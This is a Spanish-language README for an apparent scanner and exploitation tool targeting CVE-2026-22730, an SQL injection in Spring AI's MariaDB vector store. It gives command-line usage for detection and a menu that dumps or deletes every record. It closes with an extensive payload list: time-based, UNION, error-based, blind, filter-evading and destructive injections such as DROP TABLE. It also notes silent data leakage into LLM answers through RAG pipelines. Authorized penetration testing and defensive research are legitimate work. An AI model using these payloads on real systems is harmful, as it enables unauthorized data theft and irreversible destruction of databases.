
Escáner y herramienta de explotación para CVE-2026-22730, una inyección SQL en el almacén vectorial MariaDB de Spring AI. Admite detección basada en tiempo, métodos GET/POST y explotación con informes.
Una herramienta profesional de evaluación de seguridad para CVE-2026-22730 – una vulnerabilidad crítica de inyección SQL descubierta en el vector store MariaDB de Spring AI. Esta herramienta permite a probadores de penetración autorizados e investigadores de seguridad detectar y explotar de forma segura la vulnerabilidad con fines educativos o defensivos.
📖 Resumen
CVE-2026-22730 afecta a las versiones de Spring AI 1.0.x < 1.0.4 y 1.1.x < 1.1.3 cuando se utiliza el vector store MariaDB. Debido a un escape incorrecto de los valores de cadena en las expresiones de filtro, un atacante puede inyectar SQL arbitrario a través de parámetros controlados por el usuario (por ejemplo, filtros de metadatos). Esto puede provocar:
Recuperación de datos no autorizada – evadiendo los controles de acceso basados en metadatos
Eliminación completa de la base de datos – borrando todo el vector store (destructivo)
Fuga silenciosa de datos – en pipelines RAG, los datos filtrados se incorporan en las respuestas del LLM sin detección
Esta herramienta proporciona un método seguro y configurable para verificar la presencia de la vulnerabilidad y demostrar su impacto (con consentimiento explícito) durante evaluaciones de seguridad autorizadas.
🚀 Características
✅ Detección basada en tiempo – utiliza inyección SLEEP() para confirmar la vulnerabilidad
✅ Múltiples métodos HTTP – soporta GET (parámetros de consulta) y POST (cuerpo JSON)
✅ Duración de sleep personalizable – ajuste para latencia de red o requisitos de sigilo
✅ Opciones de explotación – recuperar todos los documentos (SELECT) o eliminar todos (DELETE)
✅ Informes completos – genera informes HTML, JSON y de texto plano
✅ CLI fácil de usar – modo interactivo y argumentos completos de línea de comandos
✅ Sistema de payloads extensible – integra fácilmente cadenas de inyección personalizadas
📋 Requisitos
Python 3.6 o superior
Librería requests (pip install requests)
🔧 Instalación
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Uso
El script se puede ejecutar en modo interactivo o con argumentos de línea de comandos.
Sintaxis básica
bash
python cve-2026-22730_scanner.py [opciones]
Opciones
Opción Descripción
--url URL objetivo (por ejemplo, http://localhost:8081/api/docs)
--method Método HTTP: GET o POST (por defecto: GET)
--param Nombre del parámetro de consulta para GET, o nombre de referencia para POST (opcional)
--json-template Plantilla JSON con el marcador PAYLOAD (requerido para POST)
--baseline Valor benigno para la solicitud de referencia (por defecto: inexistente)
--sleep Segundos de sleep para la detección basada en tiempo (por defecto: 5)
Ejemplos
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Se le solicitará URL, método, parámetro/plantilla JSON, baseline y tiempo de sleep.
Flujo de explotación
Si el objetivo se encuentra vulnerable, el script presenta un menú:
text
[?] El objetivo es vulnerable. Elija la opción de explotación:
1. Recuperar todos los documentos (inyección SELECT)
2. Eliminar todos los documentos (inyección DELETE) - DESTRUCTIVO
3. Omitir explotación
La opción 1 envía ' OR '1'='1 para recuperar todas las filas (no destructivo, solo lee datos).
La opción 2 envía el mismo payload utilizando el método HTTP DELETE – elimina permanentemente todos los registros. Requiere confirmación explícita.
Todas las acciones se registran y se incluyen en el informe final.
📁 Archivos de salida
Después de cada ejecución, se crean tres archivos con marca de tiempo en el directorio actual:
cve-2026-22730_YYYYMMDD_HHMMSS.json – informe JSON legible por máquina con todos los detalles.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – resumen en texto plano, incluidos los datos de explotación si los hay.
cve-2026-22730_YYYYMMDD_HHMMSS.html – informe HTML formateado, adecuado para compartir o archivar.
⚠️ Aviso importante
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos.
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito para probar es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software.
Obtenga siempre permiso por escrito antes de escanear o explotar cualquier objetivo.
📚 Referencias
Aviso de seguridad de GitHub GHSA‑c267‑rfvc‑mvpm
Aviso de seguridad de Spring AV26‑245
Artículo de investigación original de SecureLayer7
🤝 Contribuciones
Se aceptan solicitudes de extracción (pull requests), informes de errores y sugerencias de funciones. Abra primero un issue para discutir cambios importantes.
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT – consulte el archivo LICENSE para más detalles.
Desarrollado con ❤️ por Nabeel
Ejemplo para PYLOAD
Para la comunidad de seguridad
📌 Cómo usar estos payloads
En el script, cuando use POST con --json-template, reemplace PAYLOAD con cualquier payload de la lista a continuación.
Para solicitudes GET, simplemente pase el payload como valor del parámetro (el script maneja la codificación URL automáticamente).
🔥 Categorías de payloads
Estos causan un retraso si la inyección es exitosa. Úselos para confirmar la vulnerabilidad.
Payload Descripción
' OR SLEEP(5) -- Payload estándar basado en tiempo. Si la consulta se pausa durante ~5 segundos, la inyección funciona.
' OR BENCHMARK(10000000,MD5('a')) -- Alternativa para MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Sleep anidado para evadir algunos filtros.
' OR 1=1 AND SLEEP(5) -- Combina condición siempre verdadera con sleep.
Estos hacen que la cláusula WHERE sea siempre verdadera, devolviendo todos los registros.
Payload Descripción
' OR '1'='1 Inyección clásica siempre verdadera.
' OR 1=1 -- Otra variante (requiere un espacio después de --).
' OR ''=' Se basa en la comparación de cadenas vacías.
' OR 1=1# Usa # para comentario de MariaDB (codificado en URL como %23).
' OR 1=1 LIMIT 1 -- Devuelve solo una fila (útil para salida controlada)
Útil cuando la aplicación muestra resultados. Debe coincidir con el número de columnas.
Payload Descripción
' UNION SELECT NULL, database(), user(), version() -- Recupera nombre de base de datos, usuario, versión. (Ajuste el conteo de NULL para que coincida con las columnas.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Lista las tablas.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Lista las columnas.
' UNION SELECT 1, content, metadata FROM vector_store -- Vuelca datos reales (si el conteo de columnas coincide).
Activa errores que filtran información.
Payload Descripción
' AND extractvalue(1, concat(0x7e, database())) -- Basado en errores de MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) -- Otro método de error.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Error de clave duplicada.
Útil cuando no se muestran salidas ni errores, pero el comportamiento de la aplicación cambia.
Payload Descripción
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Comprueba el primer carácter del nombre de la base de datos.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Comprueba el número de tablas.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Prueba la existencia de una tabla.
Payloads destructivos (úsese con extrema precaución).
Payload Descripción
' OR '1'='1 Cuando se usa con DELETE, elimina todas las filas.
' OR 1=1; DROP TABLE vector_store -- Intenta eliminar toda la tabla (requiere consultas apiladas, a menudo deshabilitadas).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Intenta insertar nuevos datos.
Versiones ofuscadas para evadir la coincidencia de patrones simple.
Payload Descripción
%27%20OR%20SLEEP(5)%20-- Codificado en URL (el script lo maneja automáticamente).
' //OR//SLEEP(5)/**/-- Comentarios en línea para dividir palabras clave.
' OR 0x273d27=0x273d27 -- Comparación codificada en hexadecimal ('=').
' OR 1=1 /!50000SLEEP(5)/ -- Comentario específico de versión de MySQL.
Payload Descripción
' OR '1'='1 Se usa para recuperar todos los documentos (prueba de concepto).
' OR SLEEP(5) -- Payload de detección basado en tiempo utilizado en el escáner.
' OR '1'='1 También se usa para la inyección DELETE.
📝 Ejemplos de plantillas JSON con payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
En el script, pasaría la plantilla como:
bash
--json-template '{"department": "PAYLOAD"}'
El script reemplazará PAYLOAD con el payload real.
NOTA sobre la URL
El script requiere la URL completa del endpoint que acepta el parámetro vulnerable. Por ejemplo:
✅ http://example.com/api/docs – si el endpoint es /api/docs
✅ http://example.com/search – si el endpoint es /search
❌ http://example.com – no es suficiente, el script necesita la ruta exacta